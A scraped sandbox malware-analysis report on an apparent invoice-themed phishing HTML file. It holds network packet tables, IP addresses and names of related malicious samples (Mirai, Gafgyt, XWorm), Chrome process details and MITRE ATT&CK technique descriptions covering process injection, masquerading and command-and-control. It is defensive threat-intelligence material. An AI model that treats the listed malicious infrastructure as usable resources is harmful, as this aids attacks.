Mar 14, 2025 08:24:45.909449100 CET	443	49733	142.250.186.68	192.168.2.5
Mar 14, 2025 08:24:46.911998034 CET	49734	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:46.912098885 CET	443	49734	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:46.912179947 CET	49734	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:46.913352966 CET	49734	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:46.913373947 CET	443	49734	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:47.113703966 CET	443	49734	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:47.128701925 CET	49735	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:47.128750086 CET	443	49735	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:47.128953934 CET	49735	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:47.130163908 CET	49735	443	192.168.2.5	142.4.219.198
Mar 14, 2025 08:24:47.130178928 CET	443	49735	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:47.329363108 CET	443	49735	142.4.219.198	192.168.2.5
Mar 14, 2025 08:24:47.958381891 CET	49737	13621	192.168.2.5	156.229.228.198
Mar 14, 2025 08:24:47.958833933 CET	49738	13621	192.168.2.5	156.229.228.198
Mar 14, 2025 08:24:47.963080883 CET	13621	49737	156.229.228.198	192.168.2.5
Mar 14, 2025 08:24:47.963228941 CET	49737	13621	192.168.2.5	156.229.228.198
Mar 14, 2025 08:24:47.963476896 CET	13621	49738	156.229.228.198	192.168.2.5
Mar 14, 2025 08:24:47.963543892 CET	49738	13621	192.168.2.5	156.229.228.198
Mar 14, 2025 08:24:47.963704109 CET	49737	13621	192.168.2.5	156.229.228.198

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 08:24:40.975089073 CET	53	60083	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:41.110872030 CET	53	53891	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:45.501051903 CET	65017	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:45.501229048 CET	55818	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:45.507725954 CET	53	65017	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:45.507752895 CET	53	55818	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:46.900434017 CET	55591	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:46.900947094 CET	50812	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:46.907279015 CET	53	55591	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:46.908356905 CET	53	50812	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:47.912467003 CET	59047	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:47.912704945 CET	58251	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:24:47.939238071 CET	53	59047	1.1.1.1	192.168.2.5
Mar 14, 2025 08:24:48.089168072 CET	53	58251	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:36.241220951 CET	138	138	192.168.2.5	192.168.2.255
Mar 14, 2025 08:25:40.764030933 CET	53	55063	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:41.175153971 CET	53	49244	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:41.965534925 CET	53	53235	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:43.770327091 CET	64880	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:43.770497084 CET	57750	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:43.778419018 CET	53	64880	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:43.778439045 CET	53	57750	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:44.782859087 CET	58562	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:44.783160925 CET	64873	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:44.789733887 CET	53	58562	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:44.790277958 CET	53	64873	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:46.814285994 CET	58616	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:46.820902109 CET	53	58616	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:47.829298019 CET	58616	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:47.836194992 CET	53	58616	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:48.844399929 CET	58616	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:49.578943968 CET	53	58616	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:50.860070944 CET	58616	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:50.866878033 CET	53	58616	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:54.875184059 CET	58616	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:54.882414103 CET	53	58616	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:59.961344004 CET	59724	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:59.961568117 CET	62307	53	192.168.2.5	1.1.1.1
Mar 14, 2025 08:25:59.968095064 CET	53	62307	1.1.1.1	192.168.2.5
Mar 14, 2025 08:25:59.968240976 CET	53	59724	1.1.1.1	192.168.2.5

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	sync.mipsel.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.x86_64.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm4.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.superh.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm6.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm5.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm7.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	general2.exe	Get hash	malicious	XWorm	Browse	91.134.10.182
	https://hospitalnews.com/paramedics-in-six-provinces-to-provide-palliative-care-in-the-home/	Get hash	malicious	Unknown	Browse	198.100.159.124
	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse	54.39.128.117
ONL-HKOCEANNETWORKLIMITEDHK	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse	156.229.228.198
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	156.229.228.198
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	156.249.107.21
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	156.249.125.168
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	156.229.163.4
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	156.249.107.93
	armv7l.elf	Get hash	malicious	Unknown	Browse	45.202.74.234
	http://www.car1997.cn/	Get hash	malicious	Unknown	Browse	45.202.81.19
	Hilix.sh4.elf	Get hash	malicious	Mirai	Browse	156.249.107.33
	pXdN91.x68.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.229.233.170

Target ID:	0
Start time:	03:24:32
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff61c0e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	03:24:39
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3
Imagebase:	0x7ff61c0e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	03:24:41
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,13867915253657794651,6207019692013476557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3896 /prefetch:8
Imagebase:	0x7ff61c0e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	03:24:45
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html"
Imagebase:	0x7ff61c0e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FV2025020697808.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 6968, Parent PID: 5048

General

File Activities

File Opened

File Created

File Deleted

File Moved

Other File Operations

Registry Activities

Key Deleted

Key Value Deleted

COM Activities

WMI Operations

Process Activities

Process Created

Process Terminated

Thread Activities

Windows Analysis Report
FV2025020697808.html

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre